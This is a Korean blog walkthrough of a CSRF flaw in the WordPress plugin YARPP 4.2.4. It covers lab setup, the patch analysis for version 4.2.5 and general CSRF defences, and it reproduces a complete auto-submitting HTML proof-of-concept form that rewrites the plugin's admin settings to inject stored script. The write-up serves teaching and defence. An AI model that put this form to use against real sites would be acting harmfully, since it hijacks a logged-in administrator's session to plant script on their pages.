본문으로 바로가기

1. 개요

워드프레스 'Yet Another Related Posts' (줄여서 YARPP) 4.2.4 버전의 플러그인에서 CSRF(Cross-Site Request Forgery) 취약점이 발견되었다. 해당 취약점에 대한 정보는 www.exploit-db.com/exploits/36954/ 에 올라와 있으며, 취약한 플러그인과 PoC 코드를 함께 제공하고 있다.

그림 1. YARP 플러그인 취약점

YARPP 는 모든 페이지에 특정 콘텐츠를 삽입하는 기능을 제공한다.

1.1. 취약한 플러그인 설치하기

취약한 플러그인의 주소는 www.exploit-db.com/apps/c02d062c0e5143da7f6f1146285d2f25-yet-another-related-posts-plugin.4.2.4.zip 이다. 설치와 관련된 자료는 이곳에서 확인 하여 진행한다. 워드프레스 관리자로 접속하여 플러그인을 활성화 한다.

그림 2. Yet Another Related Posts 활성화

활성화 하면 공격 대상이 되는 페이지인 yarpp 패널 페이지를 볼 수 있다.

그림 3. 플러그인 패널 페이지

2. CSRF 취약점

2.1. 개요

CSRF 취약점은 Cross-Site Request Forgery 약자로 one-click attack, session riding, sea-surf 또는 XSRF라고 부르기도 한다. 간단하게 설명하면, 일반 사용자는 공격자가 의도한 공격을 특정 웹사이트에 요청하게 해서 공격하도록 하는 기술로 설명할 수 있다.

몇 가지 제약사항이 존재하는데, 정리해보면 다음과 같다.

  • 공격자가 미리 공격 내용을 만들어야 한다.
  • 사용자가 직접 해당 공격을 실행하도록 피싱해야 한다.
  • 사용자 입장에서 공격 당하는 서버에 로그인(인증) 되어 있어야 한다.
  • 사용자 모르게 전송한다.

이러한 제약사항을 토대로 만든 시나리오는 다음과 같다.

1. 사용자는 A 사이트에 form 형태로 데이터를 입력하고 로그인한다.

2. A사이트는 사용자에게 인증 세션을 발급하여 로그인 상태를 유지하도록 도와준다.

3. 사용자는 로그아웃 하지 않은 상태에서 공격자가 구성한 악의적인 사이트에 방문한다.

4. 사용자는 공격자가 구성한 악의적인 행위를 발생시키는 form을 클릭한다.

5. 클릭한 form은 사용자 인증 세션을 그대로 사용하여 악의적인 행위를 한다.

이 시나리오를 워드프레스에 적용시켜보면,

1. 사용자는 워드프레스를 관리하기 위해 로그인 한다. (워드프레스에서 로그인은 대부분 권리자 로그인이기에)

2. 워드프레스 관리자 권한의 세션을 할당 받는다.

3. 사용자는 로그아웃 하지 않은 상태에서 공격자가 구성한 악의적인 사이트에 방문한다.

4. 사용자는 공격자가 구성한 악의적인 행위를 발생시키는 form을 클릭한다.

5. 클릭한 form은 사용자 인증 세션을 그대로 사용하여 악의적인 행위를 한다.

그림 4. 워드프레스 CSRF 공격 흐름

2.2. PoC (Proof of Concept)

다음 소스코드는 이 플러그인에서 발생하는 CSRF를 증명하기 위한 PoC 코드이다. HTML 파일을 생성하여 다음 값을 입력한 후, <form> 태그 부분에 구축한 워드프레스 주소를 입력하고 진행한다. 앞서 설명한 전제조건에 맞게 워드프레스 관리자는 로그인이 되어 있어야 한다.


<body onload="document.getElementById('payload_form').submit()">
  <form id="payload_form" action="http://192.168.0.131/wp-admin/options-general.php?page=yarpp" method="POST">
    <input type='hidden' name='recent_number' value='12'>
    <input type='hidden' name='recent_units' value='month'>
    <input type='hidden' name='threshold' value='5'>
    <input type='hidden' name='weight[title]' value='no'>
    <input type='hidden' name='weight[body]' value='no'>
    <input type='hidden' name='tax[category]' value='no'>
    <input type='hidden' name='tax[post_tag]' value='consider'>
    <input type='hidden' name='auto_display_post_types[post]' value='on'>
    <input type='hidden' name='auto_display_post_types[page]' value='on'>
    <input type='hidden' name='auto_display_post_types[attachment]' value='on'>
    <input type='hidden' name='auto_display_archive' value='true'>
    <input type='hidden' name='limit' value='1'>
    <input type='hidden' name='use_template' value='builtin'>
    <input type='hidden' name='thumbnails_heading' value='Related posts:'>
    <input type='hidden' name='no_results' value='<script>alert(1);</script>'>
    <input type='hidden' name='before_related' value='<script>alert(1);</script><li>'>
    <input type='hidden' name='after_related' value='</li>'>
    <input type='hidden' name='before_title' value='<script>alert(1);</script><li>'>
    <input type='hidden' name='after_title' value='</li>'>
    <input type='hidden' name='show_excerpt' value='true'>
    <input type='hidden' name='excerpt_length' value='10'>
    <input type='hidden' name='before_post' value='+<small>'>
    <input type='hidden' name='after_post' value='</small>'>
    <input type='hidden' name='order' value='post_date ASC'>
    <input type='hidden' name='promote_yarpp' value='true'>
    <input type='hidden' name='rss_display' value='true'>
    <input type='hidden' name='rss_limit' value='1'>
    <input type='hidden' name='rss_use_template' value='builtin'>
    <input type='hidden' name='rss_thumbnails_heading' value='Related posts:'>
    <input type='hidden' name='rss_no_results' value='No Results'>
    <input type='hidden' name='rss_before_related' value='<li>'>
    <input type='hidden' name='rss_after_related' value='</li>'>
    <input type='hidden' name='rss_before_title' value='<li>'>
    <input type='hidden' name='rss_after_title' value='</li>'>
    <input type='hidden' name='rss_show_excerpt' value='true'>
    <input type='hidden' name='rss_excerpt_length' value='10'>
    <input type='hidden' name='rss_before_post' value='+<small>'>
    <input type='hidden' name='rss_after_post' value='</small>'>
    <input type='hidden' name='rss_order' value='score DESC'>
    <input type='hidden' name='rss_promote_yarpp' value='true'>
    <input type='hidden' name='update_yarpp' value='Save Changes'>
  </form>
</body>

이제 데이터를 전달받는 http://192.168.0.131/wp-admin/options-general.php?page=yarpp는 yarpp 플러그인을 활성화 해야 볼 수 있으며 관리자가 해당 플러그인을 제어하기 위한 하나의 패널 페이지이다. 해당 패널에서 각각 사용자가 직접 선택하고 입력하는 요소들에 맞춰 각각 정리하여 넘겨준다. 위 PoC코드에 보면 no_resultbefore_related, before_title 에 XSS 발생하도록 설정한다. 위 소스코드를 실행시켜보면 다음과 같은 결과를 볼 수 있다.

그림 5. 실행하기 전 패널 페이지 모습

그림 6. 실행한 후 패널 페이지 모습

그림 6과 같이 스크립트가 삽입된 것을 확인할 수 있으며, 워드프레스에 접속하면 해당 스크립트가 실행되는 것을 확인 할 수 있다.

그림 7. 스크립트 실행 확인

삽입된 위치는 기능에 맞게 포스트의 상단 제목 아래와 하단 댓글 윗 부분에 위치하며 yarpp-related, yarpp-related-none를 클래스로 사용하는 div 태그와 함께 사용된다.

그림 8. 스크립트 삽입된 위치

3. 대응방안

대응방안은 당연히 입력하는 값에 대한 검증을 하는 것이 좋다. 먼저 버전 업그레이드를 통해 해당 플러그인 제작자의 패치 방법을 살펴본다. 취약한 버전은 4.2.4 버전이며, 패치된 버전은 4.2.5 버전이다. 취약한 부분인 options-general.php 파일의 수정된 내용은 비교분석 해보면 다음과 같다.

그림 9. 패치 전, 후

update_yarpp는 최종적으로 데이터가 입력이 다 끝난 후 다음 그림과 같이 업데이트 하는 부분이다.

그림 10. update_yarpp 사용 위치

패치된 내용을 보면, 업데이트 하기 전에 최종적으로 해당 부분을 점검하는 형태로 패치를 하고 있다. 점검하기 위해 사용하는 함수는 check_admin_referer() 함수로 이 함수는 워드프레스에서 제공하는 함수이다.

이 함수는 nonce를 생성하여 무효인 경우 false로 반환한다. 생성된 nonce가 0~12시간 사이에 생성된 것이면 1을 반환하고 12~24시간 사이에 생성된 것이면 2를 반환한다. Nonce는 오로지 한번만 사용할 수 있는 토큰으로 재생공격 방지에 사용하는 것으로 이해하면 된다. 다시 말하면, 관리자가 맞는가? 리퍼러가 정확한가?를 검사해주는 함수이다.

업데이트 한 상태로 동일한 공격을 진행하면 다음과 같이 제대로 실행되지 않은 것을 확인 할 수 있다.

그림 11. 패치 후 PoC 실행 결과

3.1. 기타

기타 대응 방안으로 github에 CSRF를 잘 정리해둔 곳에서 다음과 같이 이야기를 하고 있다. 먼저 알아두면 이해하기 좋은 개념이 있다.

CORS (Cross-Origin Resource Sharing)

크로스 도메인부터 이해하는 것이 좋은데 크로스 도메인은 한번 불러온 코드 안에서 다른 도메인의 데이터를 요청하는 것을 의미한다. 초기에 크로스 도메인을 지원하지 않던 시절에 다른 도메인의 데이터를 요청하지 못하는 이슈 즉, 크로스 도메인 이슈가 발생했는데, 이를 해결하기 위해 만든 것이 CORS이다. 다시 말하면 CORS는 다른 도메인의 데이터를 호출하기 위한 표준이다.

  • Use only JSON APIs

AJAX 호출은 자바스크립트와 한정된 CORS를 사용한다. 하지만 오직 JSON을 사용함으로써 <form>을 전달할 수 있는 방법이 없어지기에 CSRF 공격 가능성을 제거할 수 있다.

  • Disable CORS

CSRF 공격을 완화시킬 수 있는 방법으로 다른 주소로 요청하지 않도록 설정하는 것이다. 만약 좋은 방법은 아니지만 CORS를 허용해야 한다면 오직 OPTIONS, HEAD, GET만 사용해야 한다. 그럼에도 자바스크립트로 인해 우회 할 수 있는 부분이 있어 CORS 자체를 차단하는 것이 좋다.

  • Check the referrer header

리퍼러 헤더를 확인하는 것은 개발자 입장에서 많은 시간이 소모되지만, 문제를 제대로 해결할 수 있다. 예를 들면 리퍼러 헤더가 서버가 아니라면 세션을 로드 할 수 없게 설정한다.

  • GET is always idempotent

GET 요청만을 사용함으로써 데이터베이스의 데이터를 변경하지 않도록 만든다. 하지만 정확하게 사용하지 않으면 CSRF 공격보다 더욱 취약한 상태를 만들 수 있다.

  • Avoid using POST

왜냐하면 <form>은 오로지 GET 그리고 POST를 사용하며, 특히 POST는 PUT, PATCH, DELETE등 다른 형태로 사용하기에 공격 방법을 현저하게 줄일 수 있다.

  • Don't use method override!

일반적으로 많은 애플리케이션들이 일반 양식을 통해 요청을 넣어 패치하여 삭제하는 방법으로 덮어 씌우는(오버라이드) 방법을 사용한다. 하지만 이들은 충분히 CSRF로 악용될 수 있다.

  • Don't support old browsers

오래된 브라우저는 CROS나 보안 정책을 지원하지 않는다. 그래서 오래된 브라우저 버전에 대한 지원을 비활성화하면 CSRF 공격을 최소화 할 수 있다.

  • CSRF Tokens

CSRF 토큰을 사용하는 방법이 있는데 이는 다음과 같이 동작한다.

- 서버는 클라이언트 토큰을 보낸다.

- 클라이언트 토큰을 사용하여 양식을 제출한다.

- 만약 토큰이 유효하지 않는 경우 서버는 요청을 거부한다.

- 공격자는 어떻게든 CSRF 토큰을 수집하기 위해 자바스크립트를 사용할 것이다. 이런 상황에서 CORS를 지원하지 않으면 토큰을 얻을 수 있는 방법이 없다.

4. 결론

CSRF 공격을 처음 이해했을 때, 사용자의 토큰(쿠키, 세션 등)을 알아야 하고, 그것을 쉽게 수행하기 위해 사용자가 로그인 된 상태라는 전제조건 등이 있었다. 전제 조건이 많다라는 건 공격이 까다롭기 때문에 크리티컬한 위협으로 분류하기 어려울 수 있겠다 싶었는데, OWASP에서 2007년 5위, 2010년 5위 그리고 2013년 8위가 CSRF이다. 또한 SANS/CWE Top 25에서는 2011년 12위 이다.

그리고 2007년 금융권 솔루션에서 발생한 CSRF 취약점은 9.3 점수를 받으면서 매우 크리티컬한 취약점으로 분류된 적도 있다. 또한 CWE에서는 352 번으로 분류되고 있다.

그림 13. 2007년 CSRF 취약점 점수

또한 재미있는 것은 XSS (Cross-Site Script)와 CSRF (Cross-Site Request Forgery)에서 동일한 단어가 사용되기 때문에 이 둘의 공격을 착각할 수 있다. 명확한 개념을 알 필요성이 있다.

마지막으로 CSRF와 연관되는 공격으로 BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) 공격과 CRIME (Compression Ratio Info-leak Made Easy) 공격을 이해해 보는 것이 과제로 남아 있다.

5. 참조 사이트



댓글을 달아 주세요

티스토리 툴바